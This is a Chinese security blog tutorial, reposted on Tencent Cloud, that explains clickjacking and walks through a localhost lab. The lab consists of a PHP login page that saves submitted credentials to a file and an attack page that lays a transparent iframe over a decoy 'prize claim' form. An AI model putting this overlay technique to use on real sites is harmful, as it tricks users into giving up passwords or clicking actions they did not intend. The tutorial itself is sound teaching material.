专栏首页信安之路一文带你读懂点击劫持详解+实验

一文带你读懂点击劫持详解+实验

本文作者:Sp4rkW(信安之路 2019 年度首次投稿) 获得奖励:续费一年信安之路知识星球

这个漏洞听起来似乎比getshell还炫酷,但如果真正理解了,其实就会发现其实还是挺简单的

漏洞原理

点击劫持又称 UI-覆盖攻击,是 2008 年由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼提出点击劫持的概念。因为首先劫持的是用户的鼠标点击操作,所以命名叫点击劫持。主要劫持目标是含有重要会话交互的页面,如银行交易页面、后台管理页面等。曾经 Twitter 和 Facebook 等著名站点的用户都遭受过点击劫持的攻击。

系统环境

  • windows 10
  • phpstudy-pro
  • php7.3.4
  • apache2

实验过程

我们先模拟出一个正常登陆的页面(服务 A),编写页面源码如下:

<form action="login.php" method="post">
    <fieldset>
        <legend>用户登录</legend>
        <ul>
            <li>
                <label>用户名:</label>
                <input type="text" name="username">
            </li>
            <li>
                <label>密   码:</label>
                <input type="password" name="password">
            </li>
            <li>
                <label> </label>
                <input type="submit" name="login" value="登录">
            </li>
        </ul>
    </fieldset>
</form>
<?php

//简单处理
  header('Content-type:text/html; charset=utf-8');
 
  // 处理用户登录信息
  if (isset($_POST['login'])) {
    # 接收用户的登录信息
    $username = trim($_POST['username']);
    $password = trim($_POST['password']);
    // 判断提交的登录信息
    if (($username != '') || ($password != '')) {
            $myfile = fopen("newfile.txt","w");
            $txt = $username."    ".$password;
            fwrite($myfile,$txt);
            fclose($myfile);
        }
  }
?>

页面演示截图如下:

由于没有连接数据库(懒),直接通过fwrite函数将表单数据存储为 txt 到本地,以证明服务 A 做了相关处理。

由于这个服务没有做任何防护处理,所以其存在点击劫持漏洞,也可以通过最简单的方式去进行验证是否存在此漏洞,构造一个 html 页面

<iframe src="http://127.0.0.1/web1.php"></iframe>

如果有如下情况出现,即可说明很大可能性存在点击劫持漏洞,截图演示如下:

继续我们的点击劫持漏洞验证实验,构造如下的代码:

<html>
<body>
<style>
iframe{ width: 1440px; height: 900px; position: absolute; top: -0px; left: -0px; z-index: 2; opacity: 0; }
</style>

<form action="/" method="post">
    <fieldset>
        <legend>中奖礼品领取,请先输入账号密码确认身份</legend>
        <ul>
            <li>
                <label>用户名:</label>
                <input type="text" name="username">
            </li>
            <li>
                <label>密   码:</label>
                <input type="password" name="password">
            </li>
            <li>
                <label> </label>
                <input type="submit" name="login" value="确认身份">
            </li>
        </ul>
    </fieldset>
</form>
<iframe src="http://127.0.0.1/login.php"></iframe>
</body>
</html>

原理如下:

1、我们先在 web2.php 中构建了一个表单在浏览器显示,我称之为“膜 x”

2、在通过 iframe 标签构建第二层让浏览器显示的 UI,我称之为“膜 y”

3、之后使用 css 对 iframe 标签进行设置,首先通过width: 1440px; height: 900px; position: absolute; top: -0px; left: -0px;将其平铺,之后通过opacity,z-index来将“膜 y”移动到“膜 x”上方对齐,并将其透明化,opacity 数值从 0 到 1,数值越小透明度越高,反之越明显;z-index 数值越高越靠近用户,高数值控件在低数值控件前。

完整的效果是这样的:

似乎好像很正常的一个页面,但当修改 opacity 值,使“膜 y”不再透明时,你就会发现问题。

也就是说,你表面上输入的是确认身份框,实际上是登陆框;或许你会觉得,这谁这么傻乱输入密码啊,对我毫无危害,但你要想到,假如这只是一个按钮的,比如说微博的关注按钮,你点击了一个别的页面上的看似是关闭广告的按钮,实际上却是已经不知不觉中关注了某个你不认识的人(前提微博有点击劫持漏洞)。由此拓展,点击劫持还是有很多用处的。

本文分享自微信公众号 - 信安之路(xazlsec)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-09-15

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 发现Outlook安卓版本APP跨站漏洞CVE-2019-1105

    Outlook可能算是目前比较流行的邮箱APP之一了,近期,CyberArk公司研究团队就发现了Outlook安卓版本APP的一个跨站漏洞(XSS)- CVE-...

    FB客服
  • Docker学习笔记(3)

    如果没什么意外,这应该是基础命令的最后一篇了… 总结到了一张脑图上,可以做个参考,查看高清版请点我

    天钧
  • javaScript事件委托

    一、概念理解: 1、事件:HTML DOM 使 JavaScript 有能力对 HTML 事件做出反应。比如点击事件、鼠标移入/移出事件等。事件通常与函数配合使...

    用户6167509
  • Django学习模板文件(7.1)

    HTML文件内容 polls/templates/polls/hello.html

    萌海无涯
  • Django学习模板(7)

    前面学了视图,我们可以在访问 localhost:8000/polls/ 看到我们返回的内容。

    萌海无涯
  • 当年pass到很多扒手的题

    可以看到经过了2次请求,最后在http://datamining.comratings.com/exam3中得到数据,现在注意resquesr中的hearder...

    用户6029108
  • Django学习管理静态文件(8)

    前面学习了返回HTML文件,还有个问题就是 HTML 文件 包含了 图片 css js 文件,那么这类文件怎么返回呢?

    萌海无涯
  • 面试必备:GET和POST 的区别详细解说

    最近一些小伙伴面试都会被问到 get 和 post 的区别,很多都只能简单的说几点,今天我们就来把弄的明明白白,彻彻底底。

    Javanx
  • 别再造假数据了,来试试 Faker 这个库吧!

    在做程序开发的时候,我们经常会用到一些测试数据,相信大多数同学是这么来造测试数据的:

    Sam Gor
  • JavaScript网页全屏API

    在大多数的浏览器中都有实现网页全屏显示的功能,并且大部分浏览器实现全屏显示和退出全屏显示的快捷键通常是F11和Esc两个按键。如今,W3C已经制定了关于网页全屏...

    用户6167509

扫码关注云+社区

领取腾讯云代金券